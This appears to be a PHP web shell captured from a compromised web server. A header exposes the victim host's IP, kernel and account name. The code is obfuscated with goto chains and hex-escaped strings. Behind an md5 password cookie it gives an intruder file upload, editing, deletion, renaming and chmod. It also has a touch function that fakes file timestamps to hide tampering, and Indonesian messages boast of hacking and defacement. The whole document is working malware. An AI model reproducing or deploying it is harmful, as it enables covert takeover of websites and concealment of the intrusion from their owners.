| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/public_html/boxslide/js/ |
Upload File : |
<?php
goto Cj0NS; YeNnu: if (!(isset($_POST["\162\145\156\141\x6d\145"]) && isset($_POST["\x6e\x65\167\156\x61\155\145"]))) { goto m3G6h; } goto wu1fH; VZbwe: cHDtc: goto tC_ga; Sl75J: echo "\74\x66\157\162\155\x20\155\145\164\x68\157\144\x3d\x27\x70\x6f\x73\x74\x27\76\15\12\40\x20\40\40\x20\40\40\40\74\151\156\160\165\x74\x20\x74\171\160\x65\75\x27\150\x69\x64\144\145\x6e\x27\40\156\x61\x6d\145\75\47\164\x6f\165\x63\x68\137\x74\141\162\147\x65\x74\x27\x20\166\x61\x6c\165\145\75\x27" . htmlspecialchars($tdU09, ENT_QUOTES) . "\47\x3e\15\12\40\x20\x20\40\40\x20\x20\x20\74\x69\156\160\165\164\40\164\171\x70\x65\75\x27\150\151\144\x64\145\156\47\40\x6e\x61\x6d\145\75\x27\164\x6f\165\143\150\x5f\155\141\x6e\x75\x61\154\x27\x20\x76\141\x6c\165\x65\75\47\61\x27\76\15\12\40\40\40\40\x20\x20\x20\40\74\151\156\x70\x75\x74\40\164\x79\160\145\x3d\47\150\151\x64\x64\x65\156\47\40\x6e\x61\x6d\145\75\x27\x70\141\164\150\47\40\x76\x61\154\x75\145\x3d\47" . htmlspecialchars(F5gC6($sI9lT), ENT_QUOTES) . "\x27\76\15\12\x20\x20\40\x20\40\40\40\x20\74\151\x6e\x70\165\x74\40\164\x79\x70\x65\x3d\47\144\x61\164\145\x74\x69\x6d\145\55\x6c\157\143\x61\154\47\x20\x6e\141\x6d\145\75\47\x6d\141\x6e\x75\141\x6c\x5f\144\x61\164\x65\47\40\x72\145\x71\x75\x69\x72\145\144\x3e\xd\12\40\40\x20\40\40\x20\40\x20\74\151\156\x70\165\164\x20\164\171\x70\145\x3d\47\x73\x75\142\x6d\x69\x74\47\40\x76\141\x6c\x75\145\x3d\x27\123\x65\164\x20\124\x61\x6e\x67\x67\x61\154\47\x3e\xd\xa\40\x20\40\x20\x3c\57\146\x6f\162\155\76"; goto q7Jw3; D_iQs: goto GrcoH; goto KNR6K; KNR6K: VWbil: goto cqlB_; R2Zb0: $D24pq = $_POST["\x6d\x61\x6e\x75\141\154\137\144\141\x74\x65"]; goto UOEZn; zYL7H: header("\x4c\x6f\143\x61\x74\151\157\x6e\72\x20\77\x70\x61\x74\150\x3d" . f5GC6($sI9lT)); goto CKpdE; mP9Px: goto BQM6e; goto Siz3X; VxJx8: $vaAjr = scandir("\x2e"); goto P23_6; FqSSN: echo "\xe0\xb9\x90\xc2\237\340\xb8\x87\302\240\40\117\123\72\x20" . php_uname() . "\40\xe0\xb9\202\342\202\xac\xe2\x80\x9d\40\120\141\x73\164\x69\x20\x63\165\x6d\141\x20\164\141\x75\40\x27\x6c\x73\47\x20\x73\x61\155\x61\40\x27\x63\x64\47\x20\x64\x6f\141\x6e\147\41\xa"; goto x0rKE; WI69j: if (!isset($_GET["\x72\145\x6e\x61\x6d\x65"])) { goto Ld5o6; } goto blYaB; aBE8x: echo "\74\146\157\162\x6d\40\155\x65\164\x68\157\x64\75\x27\160\x6f\163\x74\47\76\15\12\x20\x20\40\40\x3c\142\x3e\x42\165\141\x74\x20\106\x69\x6c\145\x20\x42\141\x72\165\x3a\74\57\142\76\x20\x3c\x69\x6e\x70\x75\164\x20\164\x79\x70\x65\x3d\47\x74\x65\x78\x74\47\x20\x6e\x61\155\145\75\47\156\x65\167\x66\151\x6c\145\x27\x3e\15\12\x20\40\x20\40\x3c\151\156\x70\x75\x74\40\164\171\x70\145\x3d\47\x73\165\x62\155\151\x74\x27\x20\166\141\x6c\x75\x65\75\x27\x42\165\x61\164\47\x3e\xd\12\x3c\x2f\146\x6f\162\155\76"; goto KJ4Ku; LwYbo: if (!(!isset($_COOKIE[$EhfIT]) || $_COOKIE[$EhfIT] !== $n0jkW)) { goto ysWVe; } goto ZjL4g; OZddl: if (!file_exists($tdU09)) { goto njOVa; } goto nq1Bs; AkWqk: exit; goto FAmLP; naavE: foreach ($pStW6 as $FhIG0 => $unkZH) { goto i0UI5; Nr5vt: ZI_Jb: goto QcToe; kH53X: QNA_c: goto CX9FN; TMFp8: zX75l: goto BWa1B; bNfxs: goto ZI_Jb; goto TMFp8; QcToe: echo "\74\x61\40\150\x72\145\146\75\x27\77\160\141\164\150\x3d" . f5gC6($qjE8y) . "\x27\76{$unkZH}\74\57\141\76\x2f"; goto kH53X; BWa1B: $qjE8y = $unkZH; goto Nr5vt; NNjxe: $qjE8y .= DIRECTORY_SEPARATOR . $unkZH; goto bNfxs; i0UI5: if ($rTTmm && $FhIG0 == 0 && preg_match("\57\x5e\x5b\x41\x2d\x5a\x5d\x3a\x24\x2f\x69", $unkZH)) { goto zX75l; } goto NNjxe; CX9FN: } goto VZbwe; bDXpp: header("\x4c\157\x63\x61\x74\x69\157\x6e\72\40" . $_SERVER["\x50\x48\120\137\x53\x45\x4c\106"]); goto AkWqk; stANy: echo "\74\x74\x61\x62\154\x65\x3e"; goto ufyyX; N3ArX: if (!(isset($_POST["\x6e\x65\167\146\151\x6c\x65"]) && $_POST["\x6e\x65\167\146\x69\x6c\x65"] != '')) { goto R30KL; } goto rqiXC; GP7Df: $n0jkW = "\x64\x63\x32\x61\x35\x32\62\71\143\67\144\x37\60\x33\x31\x33\x62\x63\67\61\x32\70\143\x31\x33\x61\x63\x35\x37\60\x32\141"; goto LwYbo; xEQNj: RCVGC: goto YeNnu; hCvB8: echo "\74\x68\63\76\x55\142\x61\x68\40\124\x61\156\147\147\x61\154\x3a\x20{$tdU09}\x3c\x2f\x68\x33\x3e"; goto Sl75J; vtFO4: $qjE8y = ''; goto IpX4x; x0rKE: echo "\xe0\271\x90\xc2\237\xc2\x90\xc2\x98\x20\x50\110\x50\x20\x56\x65\162\x73\151\x3a\x20" . phpversion() . "\x20\xe0\271\202\342\202\254\342\200\235\40\125\160\144\x61\164\145\x20\120\110\120\x20\x61\152\x61\40\x6e\x67\147\141\153\40\142\x69\x73\141\x2c\40\x6e\147\x61\153\165\40\150\141\143\153\x65\162\x21\12"; goto UbeoK; TMknM: if (!(isset($_POST["\143\150\155\x6f\144"]) && isset($_POST["\143\x68\x6d\157\144\137\x74\141\x72\x67\x65\x74"]))) { goto YCSU3; } goto nGurq; M_UH5: foreach ($vaAjr as $u1KJf) { goto RUQEi; MBPbK: RAXyA: goto Ci4AA; q9cur: echo "\74\164\144\x3e\x3c\141\x20\150\x72\x65\x66\x3d\x27{$w4vBl}\47\76{$u1KJf}\x3c\x2f\x61\x3e\74\57\x74\144\76\74\x74\x64\76\104\111\122\74\57\x74\x64\76\x3c\164\144\76{$bl4sL}\74\57\x74\144\76\x3c\x74\x64\x3e{$S8b2O}\x3c\x2f\x74\144\x3e\74\164\x64\76\xd\xa\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x3c\x61\x20\x68\x72\145\146\x3d\x27\x3f\162\145\156\141\x6d\145\x3d" . f5Gc6($CFpKz) . "\46\160\141\x74\150\75" . F5GC6($sI9lT) . "\x27\x3e\133\162\x65\156\141\155\145\135\74\57\x61\76\40\xd\12\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40{$diz2Q}\x20\xd\xa\40\40\40\40\x20\40\40\x20\40\x20\40\40{$LXbu2}\40\15\xa\40\40\40\40\40\x20\x20\40\x20\40\x20\x20{$PT_kj}\15\xa\40\x20\40\40\40\40\x20\40\74\57\x74\x64\76"; goto q6Kcy; qNc8x: sCUel: goto nc0E1; Ci4AA: $CFpKz = realpath($u1KJf); goto CZjrO; q6Kcy: echo "\x3c\x2f\x74\x72\x3e"; goto EMArV; jQr66: goto sCUel; goto MBPbK; BfxiE: $P7PRl = @fileatime($u1KJf); goto pms2B; CZjrO: $w4vBl = "\77\160\x61\164\x68\x3d" . F5Gc6($CFpKz); goto sJ5F9; Xo402: echo "\74\x74\x72\x3e"; goto q9cur; PUT_J: $LXbu2 = "\74\146\157\162\155\40\155\145\164\x68\x6f\x64\75\47\147\x65\x74\47\x20\163\164\171\x6c\145\75\47\144\x69\x73\x70\x6c\141\171\72\x69\x6e\x6c\151\156\x65\47\76\xd\12\40\x20\x20\40\x20\x20\40\x20\74\151\156\x70\x75\x74\40\164\x79\160\x65\75\47\x68\151\144\x64\x65\156\47\x20\x6e\141\x6d\145\75\x27\164\x6f\x75\x63\x68\137\155\141\x6e\165\x61\154\137\146\157\x72\155\47\40\x76\x61\x6c\x75\x65\x3d\x27\61\x27\76\15\12\x20\40\x20\40\x20\x20\x20\40\x3c\151\156\x70\x75\x74\40\x74\x79\x70\x65\x3d\47\x68\151\144\144\x65\x6e\47\40\x6e\x61\x6d\x65\75\x27\164\157\x75\143\x68\137\x74\x61\162\147\145\x74\47\40\x76\141\154\165\x65\x3d\47" . htmlspecialchars(f5gc6($CFpKz), ENT_QUOTES) . "\47\76\xd\xa\40\40\x20\40\40\40\40\40\x3c\x69\x6e\x70\x75\164\x20\164\x79\x70\x65\x3d\47\x68\151\144\144\145\x6e\x27\x20\x6e\x61\155\145\x3d\x27\x70\x61\x74\150\x27\40\x76\141\x6c\165\x65\x3d\47" . htmlspecialchars(F5gc6($sI9lT), ENT_QUOTES) . "\47\76\15\12\40\x20\40\x20\x20\x20\x20\40\x3c\151\x6e\x70\165\164\x20\164\x79\160\x65\x3d\x27\x73\x75\x62\x6d\x69\x74\47\x20\x76\x61\154\x75\145\x3d\47\165\142\x61\x68\x20\164\x61\x6e\x67\147\x61\154\x27\76\15\12\40\x20\x20\40\74\x2f\146\157\162\155\x3e"; goto W6J7W; t6k1_: C344y: goto Xo402; D5A0b: $d5zDr = @filemtime($u1KJf); goto BfxiE; EMArV: Mfne0: goto qNc8x; GMpzT: echo "\x3c\x74\x64\x3e{$u1KJf}\x3c\57\164\x64\x3e\74\164\x64\x3e\106\111\114\105\x3c\x2f\x74\x64\x3e\x3c\164\144\x3e{$bl4sL}\74\x2f\x74\144\76\74\x74\144\76{$S8b2O}\74\x2f\x74\x64\x3e\x3c\164\144\x3e\15\12\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\74\141\40\150\x72\x65\146\x3d\x27\x3f\x65\x64\x69\x74\75" . F5Gc6($CFpKz) . "\x26\160\x61\164\x68\x3d" . f5GC6($sI9lT) . "\x27\76\x5b\x65\144\x69\x74\135\74\x2f\141\x3e\x20\xd\xa\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x3c\x61\40\150\162\145\x66\x3d\x27\77\162\x65\x6e\x61\x6d\145\x3d" . f5gc6($CFpKz) . "\46\160\x61\164\x68\x3d" . f5GC6($sI9lT) . "\x27\x3e\133\162\x65\156\x61\x6d\x65\x5d\x3c\57\x61\x3e\40\xd\12\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40{$diz2Q}\40\15\xa\x20\x20\x20\40\40\40\x20\40\40\40\40\40{$LXbu2}\x20\15\12\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20{$PT_kj}\xd\xa\x20\x20\x20\x20\40\x20\40\40\x3c\57\164\x64\x3e"; goto IcW6C; krdsU: $diz2Q = "\x3c\146\157\162\155\40\x6d\x65\x74\150\x6f\144\x3d\x27\160\x6f\x73\x74\x27\x20\x73\164\171\x6c\145\x3d\x27\x64\151\163\x70\154\x61\x79\x3a\151\156\x6c\151\156\145\x27\x3e\xd\12\x20\x20\40\40\40\x20\40\40\x3c\151\156\x70\x75\x74\40\x74\x79\160\x65\x3d\x27\150\151\144\x64\x65\156\47\x20\x6e\141\155\145\75\x27\143\x68\x6d\x6f\x64\x5f\x74\141\162\x67\x65\164\x27\x20\166\141\x6c\x75\x65\x3d\x27" . htmlspecialchars($CFpKz, ENT_QUOTES) . "\x27\x3e\xd\xa\x20\40\x20\40\x20\x20\x20\x20\74\151\156\160\x75\164\x20\164\171\x70\x65\x3d\x27\150\151\x64\x64\145\156\x27\40\156\141\155\145\x3d\47\x70\x61\164\x68\x27\40\166\x61\x6c\x75\x65\x3d\47" . htmlspecialchars(f5Gc6($sI9lT), ENT_QUOTES) . "\x27\x3e\15\xa\40\x20\40\x20\x20\x20\x20\x20\x3c\x69\156\160\165\164\40\x74\171\x70\145\x3d\47\x74\x65\x78\164\47\40\156\x61\x6d\x65\x3d\x27\143\x68\155\157\x64\47\x20\x76\141\154\x75\145\x3d\x27{$HOXeQ}\x27\40\x73\x69\x7a\145\75\47\x34\47\76\xd\xa\x20\40\40\x20\x20\x20\40\40\74\x69\x6e\160\x75\x74\x20\x74\x79\x70\145\75\x27\x73\x75\x62\x6d\151\164\x27\40\166\x61\154\165\145\x3d\x27\x63\x68\155\157\144\47\x3e\15\xa\40\x20\40\x20\74\57\146\x6f\x72\x6d\x3e"; goto PUT_J; IcW6C: echo "\x3c\57\x74\x72\76"; goto Cbw9L; RUQEi: if (!($u1KJf == "\x2e" || $u1KJf == "\x2e\56")) { goto RAXyA; } goto jQr66; pms2B: $S8b2O = $d5zDr ? date("\x59\x2d\x6d\x2d\144\x20\110\x3a\151\72\163", $d5zDr) : "\55"; goto AehZs; W6J7W: if (is_dir($u1KJf)) { goto C344y; } goto RCejb; RCejb: echo "\x3c\x74\162\76"; goto GMpzT; sJ5F9: $HOXeQ = substr(sprintf("\x25\x6f", fileperms($u1KJf)), -4); goto QA4oW; Cbw9L: goto Mfne0; goto t6k1_; QA4oW: $bl4sL = is_dir($u1KJf) ? "\104\x49\122\72{$HOXeQ}" : "\x46\x49\x4c\105\72{$HOXeQ}"; goto D5A0b; AehZs: $PT_kj = "\74\x66\x6f\162\155\40\155\145\x74\150\157\x64\75\x27\160\x6f\163\x74\x27\x3e\15\12\40\x20\40\x20\40\x20\x20\x20\x3c\151\156\x70\x75\x74\x20\164\171\160\145\75\47\x68\x69\x64\x64\x65\156\x27\x20\156\141\x6d\x65\75\x27\144\x65\x6c\x65\164\x65\47\x20\x76\141\x6c\165\145\75\47" . htmlspecialchars($CFpKz, ENT_QUOTES) . "\47\x3e\15\12\x20\40\40\40\x20\x20\40\40\74\151\156\x70\165\164\x20\164\x79\x70\x65\75\x27\x68\x69\144\144\x65\x6e\x27\x20\156\x61\155\145\75\x27\160\141\164\x68\x27\x20\x76\141\154\165\x65\x3d\47" . htmlspecialchars(F5gc6($sI9lT), ENT_QUOTES) . "\x27\76\15\12\40\40\x20\40\x20\40\x20\x20\74\x69\156\160\165\x74\40\x74\171\160\145\75\47\163\x75\142\x6d\x69\x74\47\x20\166\141\154\165\145\75\x27\133\x64\145\x6c\145\x74\145\135\x27\76\xd\xa\40\40\x20\40\74\57\146\157\x72\x6d\x3e"; goto krdsU; nc0E1: } goto ZqBFR; IpX4x: $rTTmm = strtoupper(substr(PHP_OS, 0, 3)) === "\127\x49\116"; goto mieRH; lhX2a: BQM6e: goto VWkTA; Mzvcn: iSKxn: goto zYL7H; GlrtZ: Cgvfj: goto bRoqm; JqU5m: $EhfIT = "\155\162\64\163\145\160\137\154\x6f\x67\151\156"; goto GP7Df; JtN3C: if (!($YLVkC !== false)) { goto iSKxn; } goto kffhZ; KJ4Ku: echo "\74\x66\157\x72\x6d\40\x6d\x65\164\150\157\144\x3d\x27\x70\x6f\x73\164\x27\x3e\xd\xa\x20\x20\40\40\x3c\x62\x3e\102\x75\x61\164\40\106\x6f\154\144\145\162\40\x42\141\162\165\x3a\74\57\142\76\x20\74\151\156\160\x75\164\40\164\171\160\x65\x3d\x27\164\x65\170\x74\x27\x20\156\141\155\145\75\47\156\x65\167\146\157\154\x64\x65\x72\47\76\xd\12\x20\40\40\40\74\151\156\160\x75\164\40\x74\171\160\x65\x3d\x27\163\x75\x62\x6d\x69\164\47\x20\166\141\154\165\x65\75\47\x42\x75\141\x74\47\76\xd\12\x3c\x2f\x66\157\162\155\x3e"; goto aMhVc; UbeoK: echo "\xe0\271\x90\302\x9f\342\x80\234\302\x81\40\106\x6f\x6c\144\x65\162\x20\x41\x6b\164\151\x66\72\40{$sI9lT}\40\xe0\271\x82\xe2\202\254\342\x80\235\40\x4a\x61\156\147\x61\156\x2d\x6a\141\x6e\x67\141\156\40\151\156\151\x20\x6a\165\147\141\x20\x68\x61\x73\x69\x6c\x20\x73\143\x72\x69\160\x74\x20\157\162\141\x6e\x67\77\12\12"; goto bQk1s; YMt03: exit; goto G36Tb; HCyKY: echo "\74\160\40\163\x74\171\x6c\x65\x3d\47\143\157\x6c\x6f\x72\x3a\162\145\144\47\76\x4b\157\156\164\x6f\x6c\155\x75\40\x6b\145\x63\x69\154\40\x6a\x61\144\151\x6e\x79\141\40\147\x61\153\x20\x6d\141\x73\165\x6b\x20\x6c\165\x62\x61\156\x67\x6e\171\141\41\x3c\x2f\x70\x3e"; goto D_iQs; YV4hQ: $u1KJf = Q6pvD($_GET["\145\144\x69\164"]); goto jXoMV; VWkTA: $sI9lT = realpath($sI9lT); goto qCh5F; YakNd: echo "\x3c\146\x6f\162\155\x20\155\x65\x74\x68\x6f\144\x3d\47\160\157\163\164\47\x3e\xd\12\40\x20\x20\x20\x3c\x69\x6e\x70\165\x74\40\164\171\160\x65\x3d\x27\x68\x69\x64\x64\145\x6e\47\x20\x6e\141\x6d\145\x3d\x27\162\x65\156\x61\x6d\145\x27\x20\x76\x61\x6c\165\x65\75\47{$u1KJf}\47\x3e\15\xa\x20\x20\x20\40\x3c\x69\x6e\160\165\x74\40\x74\x79\160\x65\75\x27\150\x69\x64\x64\145\x6e\x27\40\156\141\x6d\145\75\47\160\141\x74\x68\47\x20\166\x61\154\165\x65\x3d\x27" . htmlspecialchars(f5GC6($sI9lT), ENT_QUOTES) . "\47\76\15\xa\x20\40\40\x20\74\151\x6e\x70\x75\164\x20\x74\x79\160\x65\75\47\x74\145\x78\164\47\x20\x6e\141\155\145\x3d\47\156\x65\x77\156\x61\x6d\145\x27\x20\166\x61\154\165\145\75\47" . basename($u1KJf) . "\x27\x3e\xd\xa\x20\40\x20\x20\x3c\151\156\160\165\164\40\164\x79\x70\x65\x3d\47\x73\165\x62\155\x69\164\47\40\166\141\x6c\x75\x65\x3d\x27\122\145\156\141\155\x65\x27\76\xd\12\40\40\x20\x20\x3c\57\x66\157\x72\155\x3e"; goto xG4Rl; rHzed: H7vXd: goto Dl_S4; kPvwP: njOVa: goto zi50F; BIiYn: if (!(isset($_GET["\164\x6f\165\x63\x68\137\155\141\x6e\x75\x61\x6c\137\x66\157\162\x6d"]) && isset($_GET["\x74\x6f\165\143\x68\x5f\x74\141\x72\147\x65\164"]))) { goto t6bod; } goto hHBjo; k0udF: if (!isset($_POST["\x64\145\x6c\x65\164\x65"])) { goto RCVGC; } goto wSSN7; s13nr: header("\x4c\x6f\143\x61\x74\x69\157\x6e\x3a\x20\77\x70\141\x74\150\75" . f5Gc6($sI9lT)); goto WR8ux; VobCF: kC8qv: goto mP9Px; Ao2XD: echo "\xe0\271\x90\302\237\xe0\xb8\212\342\x80\234\x20\123\x74\x61\164\x75\163\x20\115\x65\x6e\x74\x61\154\x20\110\x61\x63\x6b\145\x72\x3a\x20\71\71\45\40\x68\x61\163\x69\x6c\40\107\x6f\157\x67\154\x65\x2c\40\x31\x25\x20\156\x67\x61\x6b\165\55\156\147\141\x6b\165\40\x64\151\40\164\x6f\156\x67\x6b\x72\x6f\156\147\x61\x6e\x2e\xa"; goto yjn9v; yjn9v: echo "\xe0\xb9\220\xc2\237\340\xb8\204\340\xb8\x83\x20\x4e\157\x74\x65\72\40\x4a\141\x6e\147\141\156\40\154\x75\160\141\x20\165\x70\x6c\157\141\x64\40\150\141\x73\151\x6c\40\144\x65\146\141\x63\145\40\x6b\x65\x20\x67\x72\165\x70\x2c\x20\142\151\141\x72\x20\x6d\141\153\151\x6e\x20\153\x65\154\151\141\164\141\x6e\x20\164\157\154\x6f\x6c\41\12"; goto Q5fl5; G36Tb: m3G6h: goto TMknM; N02DF: rename($MexFo, $E0HtR); goto iNTNe; sfljp: if (isset($_GET["\x70\141\x74\x68"])) { goto CVCea; } goto q5HXN; z833x: exit; goto f3K4B; ZjL4g: if (!isset($_POST["\160\x61\x73\x73"])) { goto H7vXd; } goto ddwWt; UFPkA: function cBd1T() { goto NBrrK; Cmwfg: $luA9z = rand(0, 23); goto XC8I8; qt9oN: $U5SZl = rand(0, 59); goto D_fS8; NBrrK: $ecwWG = rand(2010, 2020); goto JZ_aC; D_fS8: return mktime($luA9z, $m1Sf4, $U5SZl, $skWgI, $ZhK0o, $ecwWG); goto xWipi; JZ_aC: $skWgI = rand(1, 12); goto foKgg; XC8I8: $m1Sf4 = rand(0, 59); goto qt9oN; foKgg: $ZhK0o = rand(1, cal_days_in_month(CAL_GREGORIAN, $skWgI, $ecwWG)); goto Cmwfg; xWipi: } goto bXrFo; BMyra: if (!(isset($_POST["\145\x64\151\164\146\x69\x6c\145"]) && isset($_POST["\143\x6f\156\x74\145\x6e\164"]))) { goto i2_5e; } goto BgYb7; UOEZn: $YLVkC = strtotime($D24pq); goto JtN3C; CKpdE: exit; goto U5ngP; qVcAb: ysWVe: goto l1hpt; aMhVc: echo "\x3c\163\x74\171\x6c\145\x3e\xd\xa\x20\x20\x20\40\x74\141\142\154\145\x20\x7b\40\x62\x6f\162\x64\145\x72\x2d\x63\157\154\x6c\141\160\163\x65\x3a\40\143\x6f\x6c\x6c\x61\x70\x73\x65\x3b\40\x77\x69\144\x74\x68\x3a\x20\61\60\x30\x25\73\x20\175\15\xa\x20\x20\x20\40\x74\x68\54\40\164\x64\x20\x7b\40\x62\x6f\162\x64\x65\162\x3a\x20\61\160\x78\40\163\157\154\x69\x64\40\x23\x63\143\x63\73\40\160\x61\x64\144\151\x6e\x67\x3a\40\x36\160\x78\x20\x31\60\160\170\73\x20\x74\x65\x78\x74\55\141\x6c\x69\147\156\x3a\x20\154\145\x66\164\73\40\x7d\15\xa\40\x20\x20\40\146\157\x72\155\x20\x7b\x20\144\151\163\x70\x6c\x61\171\72\40\x69\156\x6c\x69\156\145\73\x20\x6d\x61\162\x67\x69\x6e\x3a\40\60\x3b\40\x7d\xd\xa\x3c\x2f\x73\164\x79\154\145\x3e"; goto f_qKD; f3K4B: R30KL: goto xZipF; UYhzp: move_uploaded_file($_FILES["\x75\160\x6c\157\141\144"]["\164\155\160\x5f\156\x61\155\x65"], $sI9lT . DIRECTORY_SEPARATOR . basename($_FILES["\165\x70\x6c\157\141\144"]["\156\x61\155\x65"])); goto WOuwZ; YMAkd: echo "\74\x68\x33\76\x52\x65\x6e\141\x6d\145\x20\106\151\x6c\145\x2f\x46\x6f\154\x64\145\x72\72\40{$u1KJf}\74\x2f\x68\63\x3e"; goto YakNd; GBfY0: function Q6PVD($qmGx1) { $qmGx1 = strtr($qmGx1, "\55\x5f", "\53\x2f"); return base64_decode($qmGx1); } goto q8xcB; nq1Bs: P1_RQ($tdU09); goto kPvwP; nSCKf: CVCea: goto pezE1; C5h0Y: if (!(isset($_POST["\164\157\165\143\x68\137\155\x61\156\165\141\154"]) && isset($_POST["\x74\157\x75\x63\150\x5f\x74\141\162\x67\145\x74"]) && isset($_POST["\155\141\x6e\x75\x61\x6c\x5f\x64\141\164\145"]))) { goto WYmpy; } goto R2Zb0; pezE1: $sI9lT = q6pVd($_GET["\x70\141\164\x68"]); goto VobCF; bkgbK: exit; goto CxZxz; Q5fl5: echo "\74\x2f\x70\x72\145\x3e"; goto KKDQN; WR8ux: exit; goto GlrtZ; cFUw7: echo "\xe0\xb9\x90\302\x9f\340\270\204\340\xb8\x81\x20\x6d\162\x34\163\x65\x70\x20\340\xb9\x82\342\202\254\xe2\200\x9d\40\104\x75\154\x75\x20\x74\x75\153\141\156\147\40\x70\x61\162\x6b\151\162\54\40\x73\145\153\141\162\x61\156\x67\40\163\x6f\x6b\x20\152\141\144\x69\x20\x68\x61\x63\153\x65\162\x2e\40\123\153\151\x6c\154\x3a\x20\143\157\160\x79\40\x70\141\163\x74\145\x20\144\141\162\151\x20\x47\157\157\147\x6c\x65\41\12\12"; goto QFeQB; blYaB: $u1KJf = q6pvd($_GET["\162\145\156\x61\155\145"]); goto YMAkd; jXoMV: echo "\x3c\150\x33\76\105\x64\151\x74\40\106\151\x6c\x65\x3a\x20{$u1KJf}\74\57\x68\x33\x3e"; goto OaDnL; rqiXC: file_put_contents($sI9lT . DIRECTORY_SEPARATOR . basename($_POST["\156\x65\167\x66\x69\154\145"]), ''); goto AcPNm; hHBjo: $tdU09 = q6pVD($_GET["\164\157\165\x63\150\137\x74\x61\162\147\145\x74"]); goto hCvB8; U5ngP: WYmpy: goto k0udF; cqlB_: setcookie($EhfIT, $n0jkW, time() + 3600, "\57"); goto bDXpp; q7Jw3: t6bod: goto mdRzn; ytnd3: $sI9lT = q6Pvd($_POST["\160\141\164\150"]); goto lhX2a; AcPNm: header("\x4c\157\x63\141\164\151\x6f\x6e\x3a\x20\x3f\x70\141\x74\x68\x3d" . f5GC6($sI9lT)); goto z833x; Dp6XF: exit; goto yQeib; FZaDL: header("\x4c\x6f\143\141\164\x69\157\156\72\40\77\x70\141\164\150\75" . f5gc6($sI9lT)); goto bkgbK; xZipF: if (!(isset($_POST["\156\x65\x77\146\x6f\x6c\x64\145\162"]) && $_POST["\x6e\145\167\146\x6f\x6c\144\x65\x72"] != '')) { goto Cgvfj; } goto o2Pjj; rMXAO: i2_5e: goto N3ArX; nGurq: $GF_FG = intval($_POST["\x63\x68\x6d\157\144"], 8); goto xP_2X; iNTNe: header("\x4c\x6f\x63\141\164\151\157\156\x3a\x20\77\160\x61\164\150\x3d" . F5gc6($sI9lT)); goto YMt03; mieRH: echo "\x50\141\164\x68\x3a\40"; goto naavE; tC_ga: echo "\x3c\x2f\160\162\145\x3e"; goto Jd2uA; Y_HzR: echo "\x3c\x2f\164\x61\142\x6c\145\x3e"; goto BIiYn; wu1fH: $MexFo = $_POST["\162\145\156\141\x6d\145"]; goto YrnKr; BgYb7: file_put_contents($_POST["\145\144\151\164\x66\151\x6c\145"], $_POST["\x63\x6f\x6e\x74\145\x6e\x74"]); goto XhoU3; q5HXN: $sI9lT = getcwd(); goto LYvaD; kffhZ: @touch($_POST["\164\157\x75\143\150\x5f\x74\141\x72\147\x65\164"], $YLVkC, $YLVkC); goto Mzvcn; CxZxz: YCSU3: goto BMyra; QFeQB: echo "\xe0\xb9\x90\xc2\x9f\342\200\234\xe0\270\x81\40\123\145\x72\166\x65\162\72\x20" . $_SERVER["\110\x54\124\x50\x5f\110\117\x53\x54"] . "\x20\50" . $_SERVER["\x53\105\x52\x56\x45\x52\137\x41\x44\x44\122"] . "\x29\40\xe0\xb9\x82\xe2\202\254\342\200\x9d\x20\x4d\141\163\151\x68\x20\156\165\x6d\160\141\x6e\147\x20\150\x6f\163\x74\151\x6e\x67\x20\x67\162\141\164\x69\x73\x61\156\x3f\12"; goto FqSSN; YrnKr: $E0HtR = $sI9lT . DIRECTORY_SEPARATOR . basename($_POST["\x6e\x65\167\x6e\x61\x6d\145"]); goto N02DF; mdRzn: if (!isset($_GET["\x65\x64\x69\164"])) { goto nG3h3; } goto YV4hQ; LYvaD: goto kC8qv; goto nSCKf; P23_6: echo "\x3c\160\x72\145\76"; goto cFUw7; Siz3X: VcbSy: goto ytnd3; KKDQN: $pStW6 = preg_split("\x7e\x5b\134\x5c\x2f\135\176", $sI9lT); goto vtFO4; Cj0NS: error_reporting(0); goto JqU5m; ufyyX: echo "\74\x74\x72\76\x3c\164\x68\x3e\116\x61\155\141\74\x2f\164\150\76\x3c\x74\x68\76\124\151\x70\x65\x3c\57\164\x68\x3e\74\x74\150\x3e\x50\145\162\155\x69\x73\163\x69\x6f\156\x3c\x2f\x74\150\x3e\74\x74\x68\76\x54\141\x6e\x67\147\x61\x6c\x3c\x2f\164\150\x3e\74\x74\150\76\101\x6b\163\151\x3c\x2f\x74\x68\x3e\74\x2f\164\162\76"; goto M_UH5; Jd2uA: echo "\74\x66\x6f\x72\x6d\x20\155\145\x74\150\x6f\x64\75\x27\x70\x6f\163\x74\47\x20\x65\156\143\x74\x79\160\145\75\x27\x6d\x75\154\164\x69\160\x61\x72\164\x2f\x66\x6f\162\x6d\55\x64\141\164\x61\47\76\xd\xa\40\x20\40\x20\x3c\142\76\125\x70\154\x6f\x61\x64\x20\x46\x69\x6c\145\72\x3c\x2f\x62\76\x20\x3c\151\156\x70\165\164\x20\x74\x79\160\x65\75\x27\146\151\154\145\x27\40\x6e\141\155\145\75\x27\x75\x70\x6c\157\x61\144\47\76\15\12\40\x20\40\40\74\151\156\x70\165\164\40\x74\x79\x70\145\75\x27\x73\165\142\x6d\x69\x74\x27\x20\166\x61\x6c\x75\145\75\47\x55\x70\154\x6f\141\x64\x27\x3e\xd\12\74\x2f\x66\157\x72\155\76"; goto aBE8x; wSSN7: $tdU09 = $_POST["\144\145\154\145\164\145"]; goto OZddl; YbOjJ: nG3h3: goto WI69j; ddwWt: if (md5($_POST["\x70\x61\163\163"]) === $n0jkW) { goto VWbil; } goto HCyKY; q8xcB: if (isset($_POST["\x70\x61\164\x68"])) { goto VcbSy; } goto sfljp; bQk1s: echo 